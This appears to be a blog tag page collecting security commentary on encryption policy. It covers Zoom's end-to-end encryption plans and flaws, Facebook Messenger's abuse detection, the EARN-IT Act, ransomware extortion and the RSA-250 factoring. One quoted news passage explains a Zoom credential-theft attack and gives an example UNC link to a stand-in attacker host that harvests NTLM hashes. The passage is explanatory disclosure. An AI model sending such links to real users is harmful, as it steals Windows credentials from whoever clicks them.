Entries Tagged "encryption"
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…we have identified a path forward that balances the legitimate right of all users to privacy and the safety of users on our platform. This will enable us to offer E2EE as an advanced add-on feature for all of our users around the globe — free and paid — while maintaining the ability to prevent and fight abuse on our platform.
To make this possible, Free/Basic users seeking access to E2EE will participate in a one-time process that will prompt the user for additional pieces of information, such as verifying a phone number via a text message. Many leading companies perform similar steps on account creation to reduce the mass creation of abusive accounts. We are confident that by implementing risk-based authentication, in combination with our current mix of tools — including our Report a User function — we can continue to prevent and fight abuse.
Thank you, Zoom, for coming around to the right answer.
And thank you to everyone for commenting on this issue. We are learning — in so many areas — the power of continued public pressure to change corporate behavior.
EDITED TO ADD (6/18): Let’s do Apple next.
Zoom was doing so well…. And now we have this:
Corporate clients will get access to Zoom’s end-to-end encryption service now being developed, but Yuan said free users won’t enjoy that level of privacy, which makes it impossible for third parties to decipher communications.
“Free users for sure we don’t want to give that because we also want to work together with FBI, with local law enforcement in case some people use Zoom for a bad purpose,” Yuan said on the call.
This is just dumb. Imagine the scene in the terrorist/drug kingpin/money launderer hideout: “I’m sorry, boss. We could have have strong encryption to secure our bad intentions from the FBI, but we can’t afford the $20.” This decision will only affect protesters and dissidents and human rights workers and journalists.
Here’s advisor Alex Stamos doing damage control:
Nico, it’s incorrect to say that free calls won’t be encrypted and this turns out to be a really difficult balancing act between different kinds of harms. More details here:
Some facts on Zoom’s current plans for E2E encryption, which are complicated by the product requirements for an enterprise conferencing product and some legitimate safety issues. The E2E design is available here: https://github.com/zoom/zoom-e2e-whitepaper/blob/master/zoom_e2e.pdf
I read that document, and it doesn’t explain why end-to-end encryption is only available to paying customers. And note that Stamos said “encrypted” and not “end-to-end encrypted.” He knows the difference.
Yuan sought to assuage users’ concerns Wednesday in his weekly webinar, saying the company was striving to “do the right thing” for vulnerable groups, including children and hate-crime victims, whose abuse is sometimes broadcast through Zoom’s platform.
“We plan to provide end-to-end encryption to users for whom we can verify identity, thereby limiting harm to vulnerable groups,” he said. “I wanted to clarify that Zoom does not monitor meeting content. We do not have backdoors where participants, including Zoom employees or law enforcement, can enter meetings without being visible to others. None of this will change.”
Notice that is specifically did not say that he was offering end-to-end encryption to users of the free platform. Only to “users we can verify identity,” which I’m guessing means users that give him a credit card number.
The Twitter feed was similarly sloppily evasive:
We are seeing some misunderstandings on Twitter today around our encryption. We want to provide these facts.
Zoom does not provide information to law enforcement except in circumstances such as child sexual abuse.
Zoom does not proactively monitor meeting content.
Zoom does no have backdoors where Zoom or others can enter meetings without being visible to participants.
AES 256 GCM encryption is turned on for all Zoom users — free and paid.
Those facts have nothing to do with any “misunderstanding.” That was about end-to-end encryption, which the statement very specifically left out of that last sentence. The corporate communications have been clear and consistent.
Come on, Zoom. You were doing so well. Of course you should offer premium features to paying customers, but please don’t include security and privacy in those premium features. They should be available to everyone.
And, hey, this is kind of a dumb time to side with the police over protesters.
I have emailed the CEO, and will report back if I hear back. But for now, assume that the free version of Zoom will not support end-to-end encryption.
EDITED TO ADD (6/4): Another article.
EDITED TO ADD (6/4): I understand that this is complicated, both technically and politically. (Note, though, Jitsi is doing it.) And, yes, lots of people confused end-to-end encryption with link encryption. (My readers tend to be more sophisticated than that.) My worry that the “we’ll offer end-to-end encryption only to paying customers we can verify, even though there’s plenty of evidence that ‘bad purpose’ people will just get paid accounts” story plays into the dangerous narrative that encryption itself is dangerous when widely available. And I disagree with the notion that the possibility of child exploitation is a valid reason to deny security to large groups of people.
Matthew Green on this issue. An excerpt:
Once the precedent is set that E2E encryption is too “dangerous” to hand to the masses, the genie is out of the bottle. And once corporate America accepts that private communications are too politically risky to deploy, it’s going to be hard to put it back.
Want to help us work on end-to-end encrypted group video calling functionality that will be free for everyone? Zoom on over to our careers page….
Note that this is “announced,” so we don’t know when it’s actually going to be implemented.
Facebook today announced new features for Messenger that will alert you when messages appear to come from financial scammers or potential child abusers, displaying warnings in the Messenger app that provide tips and suggest you block the offenders. The feature, which Facebook started rolling out on Android in March and is now bringing to iOS, uses machine learning analysis of communications across Facebook Messenger’s billion-plus users to identify shady behaviors. But crucially, Facebook says that the detection will occur only based on metadata — not analysis of the content of messages — so that it doesn’t undermine the end-to-end encryption that Messenger offers in its Secret Conversations feature. Facebook has said it will eventually roll out that end-to-end encryption to all Messenger chats by default.
That default Messenger encryption will take years to implement.
Facebook hasn’t revealed many details about how its machine-learning abuse detection tricks will work. But a Facebook spokesperson tells WIRED the detection mechanisms are based on metadata alone: who is talking to whom, when they send messages, with what frequency, and other attributes of the relevant accounts — essentially everything other than the content of communications, which Facebook’s servers can’t access when those messages are encrypted. “We can get pretty good signals that we can develop through machine learning models, which will obviously improve over time,” a Facebook spokesperson told WIRED in a phone call. They declined to share more details in part because the company says it doesn’t want to inadvertently help bad actors circumvent its safeguards.
The company’s blog post offers the example of an adult sending messages or friend requests to a large number of minors as one case where its behavioral detection mechanisms can spot a likely abuser. In other cases, Facebook says, it will weigh a lack of connections between two people’s social graphs — a sign that they don’t know each other — or consider previous instances where users reported or blocked a someone as a clue that they’re up to something shady.
One screenshot from Facebook, for instance, shows an alert that asks if a message recipient knows a potential scammer. If they say no, the alert suggests blocking the sender, and offers tips about never sending money to a stranger. In another example, the app detects that someone is using a name and profile photo to impersonate the recipient’s friend. An alert then shows the impersonator’s and real friend’s profiles side-by-side, suggesting that the user block the fraudster.
Details from Facebook
EDITED TO ADD (7/1): This entry has been translated into Spanish.
Zoom is on the good list, with some caveats. The company has done a lot of work addressing previous security concerns. It still has a bit to go on end-to-end encryption. Matthew Green looked at this. Zoom does offer end-to-end encryption if 1) everyone is using a Zoom app, and not logging in to the meeting using a webpage, and 2) the meeting is not being recorded in the cloud. That’s pretty good, but the real worry is where the encryption keys are generated and stored. According to Citizen Lab, the company generates them.
The Zoom transport protocol adds Zoom’s own encryption scheme to RTP in an unusual way. By default, all participants’ audio and video in a Zoom meeting appears to be encrypted and decrypted with a single AES-128 key shared amongst the participants. The AES key appears to be generated and distributed to the meeting’s participants by Zoom servers. Zoom’s encryption and decryption use AES in ECB mode, which is well-understood to be a bad idea, because this mode of encryption preserves patterns in the input.
The algorithm part was just fixed:
AES 256-bit GCM encryption: Zoom is upgrading to the AES 256-bit GCM encryption standard, which offers increased protection of your meeting data in transit and resistance against tampering. This provides confidentiality and integrity assurances on your Zoom Meeting, Zoom Video Webinar, and Zoom Phone data. Zoom 5.0, which is slated for release within the week, supports GCM encryption, and this standard will take effect once all accounts are enabled with GCM. System-wide account enablement will take place on May 30.
There is nothing in Zoom’s latest announcement about key management. So: while the company has done a really good job improving the security and privacy of their platform, there seems to be just one step remaining to fully encrypt the sessions.
The other thing I want Zoom to do is to make the security options necessary to prevent Zoombombing to be made available to users of the free version of that platform. Forcing users to pay for security isn’t a viable option right now.
Finally — I use Zoom all the time. I finished my Harvard class using Zoom; it’s the university standard. I am having Inrupt company meetings on Zoom. I am having professional and personal conferences on Zoom. It’s what everyone has, and the features are really good.
This is interesting:
Facebook Inc. in 2018 beat back federal prosecutors seeking to wiretap its encrypted Messenger app. Now the American Civil Liberties Union is seeking to find out how.
The entire proceeding was confidential, with only the result leaking to the press. Lawyers for the ACLU and the Washington Post on Tuesday asked a San Francisco-based federal court of appeals to unseal the judge’s decision, arguing the public has a right to know how the law is being applied, particularly in the area of privacy.
The Facebook case stems from a federal investigation of members of the violent MS-13 criminal gang. Prosecutors tried to hold Facebook in contempt after the company refused to help investigators wiretap its Messenger app, but the judge ruled against them. If the decision is unsealed, other tech companies will likely try to use its reasoning to ward off similar government requests in the future.
Originally, ransomware didn’t involve any data theft. Malware would encrypt the data on your computer, and demand a ransom for the encryption key. Now ransomware is increasingly involving both encryption and exfiltration. Brian Krebs wrote about this in December. It’s a further incentive for the victims to pay.
Recently, the aerospace company Visser Precision was hit by the DoppelPaymer ransomware. The company refused to pay, so the criminals leaked documents and data belonging to Visser Precision, Lockheed Martin, Boeing, SpaceX, the US Navy, and others.
RSA-250 has been factored.
This computation was performed with the Number Field Sieve algorithm,
using the open-source CADO-NFS software.
The total computation time was roughly 2700 core-years, using Intel Xeon Gold 6130 CPUs as a reference (2.1GHz):
RSA-250 sieving: 2450 physical core-years
RSA-250 matrix: 250 physical core-years
The computation involved tens of thousands of machines worldwide, and was completed in a few months.
Over the past few weeks, Zoom’s use has exploded since it became the video conferencing platform of choice in today’s COVID-19 world. (My own university, Harvard, uses it for all of its classes. Boris Johnson had a cabinet meeting over Zoom.) Over that same period, the company has been exposed for having both lousy privacy and lousy security. My goal here is to summarize all of the problems and talk about solutions and workarounds.
In general, Zoom’s problems fall into three broad buckets: (1) bad privacy practices, (2) bad security practices, and (3) bad user configurations.
Privacy first: Zoom spies on its users for personal profit. It seems to have cleaned this up somewhat since everyone started paying attention, but it still does it.
The company collects a laundry list of data about you, including user name, physical address, email address, phone number, job information, Facebook profile information, computer or phone specs, IP address, and any other information you create or upload. And it uses all of this surveillance data for profit, against your interests.
Does Zoom sell Personal Data? Depends what you mean by “sell.” We do not allow marketing companies, or anyone else to access Personal Data in exchange for payment. Except as described above, we do not allow any third parties to access any Personal Data we collect in the course of providing services to users. We do not allow third parties to use any Personal Data obtained from us for their own purposes, unless it is with your consent (e.g. when you download an app from the Marketplace. So in our humble opinion, we don’t think most of our users would see us as selling their information, as that practice is commonly understood.
“Depends what you mean by ‘sell.'” “…most of our users would see us as selling…” “…as that practice is commonly understood.” That paragraph was carefully worded by lawyers to permit them to do pretty much whatever they want with your information while pretending otherwise. Do any of you who “download[ed] an app from the Marketplace” remember consenting to them giving your personal data to third parties? I don’t.
We do not sell your personal data. Whether you are a business or a school or an individual user, we do not sell your data.
We do not use data we obtain from your use of our services, including your meetings, for any advertising. We do use data we obtain from you when you visit our marketing websites, such as zoom.us and zoom.com. You have control over your own cookie settings when visiting our marketing websites.
There’s lots more. It’s better than it was, but Zoom still collects a huge amount of data about you. And note that it considers its home pages “marketing websites,” which means it’s still using third-party trackers and surveillance based advertising. (Honestly, Zoom, just stop doing it.)
Now security: Zoom’s security is at best sloppy, and malicious at worst. Motherboard reported that Zoom’s iPhone app was sending user data to Facebook, even if the user didn’t have a Facebook account. Zoom removed the feature, but its response should worry you about its sloppy coding practices in general:
“We originally implemented the ‘Login with Facebook’ feature using the Facebook SDK in order to provide our users with another convenient way to access our platform. However, we were recently made aware that the Facebook SDK was collecting unnecessary device data,” Zoom told Motherboard in a statement on Friday.
This isn’t the first time Zoom was sloppy with security. Last year, a researcher discovered that a vulnerability in the Mac Zoom client allowed any malicious website to enable the camera without permission. This seemed like a deliberate design choice: that Zoom designed its service to bypass browser security settings and remotely enable a user’s web camera without the user’s knowledge or consent. (EPIC filed an FTC complaint over this.) Zoom patched this vulnerability last year.
On 4/1, we learned that Zoom for Windows can be used to steal users’ Window credentials.
Attacks work by using the Zoom chat window to send targets a string of text that represents the network location on the Windows device they’re using. The Zoom app for Windows automatically converts these so-called universal naming convention strings — such as \attacker.example.com/C$ — into clickable links. In the event that targets click on those links on networks that aren’t fully locked down, Zoom will send the Windows usernames and the corresponding NTLM hashes to the address contained in the link.
On 4/2, we learned that Zoom secretly displayed data from people’s LinkedIn profiles, which allowed some meeting participants to snoop on each other. (Zoom has fixed this one.)
I’m sure lots more of these bad security decisions, sloppy coding mistakes, and random software vulnerabilities are coming.
But it gets worse. Zoom’s encryption is awful. First, the company claims that it offers end-to-end encryption, but it doesn’t. It only provides link encryption, which means everything is unencrypted on the company’s servers. From the Intercept:
In Zoom’s white paper, there is a list of “pre-meeting security capabilities” that are available to the meeting host that starts with “Enable an end-to-end (E2E) encrypted meeting.” Later in the white paper, it lists “Secure a meeting with E2E encryption” as an “in-meeting security capability” that’s available to meeting hosts. When a host starts a meeting with the “Require Encryption for 3rd Party Endpoints” setting enabled, participants see a green padlock that says, “Zoom is using an end to end encrypted connection” when they mouse over it.
But when reached for comment about whether video meetings are actually end-to-end encrypted, a Zoom spokesperson wrote, “Currently, it is not possible to enable E2E encryption for Zoom video meetings. Zoom video meetings use a combination of TCP and UDP. TCP connections are made using TLS and UDP connections are encrypted with AES using a key negotiated over a TLS connection.”
They’re also lying about the type of encryption. On 4/3, Citizen Lab reported
Zoom documentation claims that the app uses “AES-256” encryption for meetings where possible. However, we find that in each Zoom meeting, a single AES-128 key is used in ECB mode by all participants to encrypt and decrypt audio and video. The use of ECB mode is not recommended because patterns present in the plaintext are preserved during encryption.
The AES-128 keys, which we verified are sufficient to decrypt Zoom packets intercepted in Internet traffic, appear to be generated by Zoom servers, and in some cases, are delivered to participants in a Zoom meeting through servers in China, even when all meeting participants, and the Zoom subscriber’s company, are outside of China.
I’m okay with AES-128, but using ECB (electronic codebook) mode indicates that there is no one at the company who knows anything about cryptography.
And that China connection is worrisome. Citizen Lab again:
Zoom, a Silicon Valley-based company, appears to own three companies in China through which at least 700 employees are paid to develop Zoom’s software. This arrangement is ostensibly an effort at labor arbitrage: Zoom can avoid paying US wages while selling to US customers, thus increasing their profit margin. However, this arrangement may make Zoom responsive to pressure from Chinese authorities.
Or from Chinese programmers slipping backdoors into the code at the request of the government.
Finally, bad user configuration. Zoom has a lot of options. The defaults aren’t great, and if you don’t configure your meetings right you’re leaving yourself open to all sort of mischief.
“Zoombombing” is the most visible problem. People are finding open Zoom meetings, classes, and events: joining them, and sharing their screens to broadcast offensive content — porn, mostly — to everyone. It’s awful if you’re the victim, and a consequence of allowing any participant to share their screen.
Even without screen sharing, people are logging in to random Zoom meetings and disrupting them. Turns out that Zoom didn’t make the meeting ID long enough to prevent someone from randomly trying them, looking for meetings. This isn’t new; Checkpoint Research reported this last summer. Instead of making the meeting IDs longer or more complicated — which it should have done — it enabled meeting passwords by default. Of course most of us don’t use passwords, and there are now automatic tools for finding Zoom meetings.
For help securing your Zoom sessions, Zoom has a good guide. Short summary: don’t share the meeting ID more than you have to, use a password in addition to a meeting ID, use the waiting room if you can, and pay attention to who has what permissions.
That’s what we know about Zoom’s privacy and security so far. Expect more revelations in the weeks and months to come. The New York Attorney General is investigating the company. Security researchers are combing through the software, looking for other things Zoom is doing and not telling anyone about. There are more stories waiting to be discovered.
Zoom is a security and privacy disaster, but until now had managed to avoid public accountability because it was relatively obscure. Now that it’s in the spotlight, it’s all coming out. (Their 4/1 response to all of this is here.) On 4/2, the company said it would freeze all feature development and focus on security and privacy. Let’s see if that’s anything more than a PR move.
In the meantime, you should either lock Zoom down as best you can, or — better yet — abandon the platform altogether. Jitsi is a distributed, free, and open-source alternative. Start your meeting here.
EDITED TO ADD: Fight for the Future is on this.
Steve Bellovin’s comments.
Meanwhile, lots of Zoom video recordings are available on the Internet. The article doesn’t have any useful details about how they got there:
Videos viewed by The Post included one-on-one therapy sessions; a training orientation for workers doing telehealth calls, which included people’s names and phone numbers; small-business meetings, which included private company financial statements; and elementary-school classes, in which children’s faces, voices and personal details were exposed.
Many of the videos include personally identifiable information and deeply intimate conversations, recorded in people’s homes. Other videos include nudity, such as one in which an aesthetician teaches students how to give a Brazilian wax.
Many of the videos can be found on unprotected chunks of Amazon storage space, known as buckets, which are widely used across the Web. Amazon buckets are locked down by default, but many users make the storage space publicly accessible either inadvertently or to share files with other people.
EDITED TO ADD (4/4): New York City has banned Zoom from its schools.
EDITED TO ADD: This post has been translated into Spanish.
Prepare for another attack on encryption in the U.S. The EARN-IT Act purports to be about protecting children from predation, but it’s really about forcing the tech companies to break their encryption schemes:
The EARN IT Act would create a “National Commission on Online Child Sexual Exploitation Prevention” tasked with developing “best practices” for owners of Internet platforms to “prevent, reduce, and respond” to child exploitation. But far from mere recommendations, those “best practices” would be approved by Congress as legal requirements: if a platform failed to adhere to them, it would lose essential legal protections for free speech.
It’s easy to predict how Attorney General William Barr would use that power: to break encryption. He’s said over and over that he thinks the “best practice” is to force encrypted messaging systems to give law enforcement access to our private conversations. The Graham-Blumenthal bill would finally give Barr the power to demand that tech companies obey him or face serious repercussions, including both civil and criminal liability. Such a demand would put encryption providers like WhatsApp and Signal in an awful conundrum: either face the possibility of losing everything in a single lawsuit or knowingly undermine their users’ security, making all of us more vulnerable to online criminals.
Matthew Green has a long explanation of the bill and its effects:
The new bill, out of Lindsey Graham’s Judiciary committee, is designed to force providers to either solve the encryption-while-scanning problem, or stop using encryption entirely. And given that we don’t yet know how to solve the problem — and the techniques to do it are basically at the research stage of R&D — it’s likely that “stop using encryption” is really the preferred goal.
EARN IT works by revoking a type of liability called Section 230 that makes it possible for providers to operate on the Internet, by preventing the provider for being held responsible for what their customers do on a platform like Facebook. The new bill would make it financially impossible for providers like WhatsApp and Apple to operate services unless they conduct “best practices” for scanning their systems for CSAM.
Since there are no “best practices” in existence, and the techniques for doing this while preserving privacy are completely unknown, the bill creates a government-appointed committee that will tell technology providers what technology they have to use. The specific nature of the committee is byzantine and described within the bill itself. Needless to say, the makeup of the committee, which can include as few as zero data security experts, ensures that end-to-end encryption will almost certainly not be considered a best practice.
So in short: this bill is a backdoor way to allow the government to ban encryption on commercial services. And even more beautifully: it doesn’t come out and actually ban the use of encryption, it just makes encryption commercially infeasible for major providers to deploy, ensuring that they’ll go bankrupt if they try to disobey this committee’s recommendations.
It’s the kind of bill you’d come up with if you knew the thing you wanted to do was unconstitutional and highly unpopular, and you basically didn’t care.
Sign a petition against this act.
Sidebar photo of Bruce Schneier by Joe MacInnis.